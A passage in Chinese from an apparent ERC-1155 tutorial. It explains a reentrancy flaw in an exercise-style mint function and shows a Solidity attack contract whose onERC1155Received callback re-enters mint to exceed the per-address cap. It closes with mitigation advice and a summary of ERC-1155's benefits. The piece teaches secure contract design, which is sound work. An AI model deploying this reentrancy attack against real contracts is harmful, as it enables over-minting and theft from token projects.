请注意,mint 函数试图防止 msg.sender 铸造超过 3 个 NFT。但是,它没有包含重入锁(reentrancy lock),其操作也没有遵循检查-生效-交互(checks-effects-interactions)模式,因为它在铸造并执行回调之后才检查 msg.sender 已经铸造的数量。因此,攻击者可以通过在其恶意合约的 onERC1155Received 回调函数中调用 mint 函数来利用这个合约,如下面的攻击合约所示:
contract AttackOvermint1_ERC1155 {
Overmint1_ERC1155 overmint1_ERC1155;
constructor(Overmint1_ERC1155 _overmint1_ERC1155) {
overmint1_ERC1155 = _overmint1_ERC1155;
}
function attackMint(uint256 id) external {
overmint1_ERC1155.mint(id, "");
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) {
uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id);
if (balance < 5) {
overmint1_ERC1155.mint(1, "");
}
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
攻击者首先会在其恶意合约中调用一个函数来发起一次铸造。这将使 msg.sender 成为攻击者的合约。当 NFT 被铸造时,攻击者的合约将会被调用 onERC1155Received。此函数会检查所需数量是否已经铸造完成,如果没有,则它会重新进入 mint 函数。
重要的是,ERC-1155 的实现合约应通过严格遵守 检查-生效-交互模式和/或实施重入锁 来缓解这种漏洞。
结论
ERC-1155 标准化了一个用于在单一合约中实现多种类型代币的接口。这允许在批量操作、一次性授权多个代币以及部署代币合约等方面使用节省 Gas 的机制。
该标准消除了在管理各种代币集合时需要与多个合约交互的需求,提高了区块链游戏和其他使用多种代币的项目的 Gas 效率和用户体验(UX)。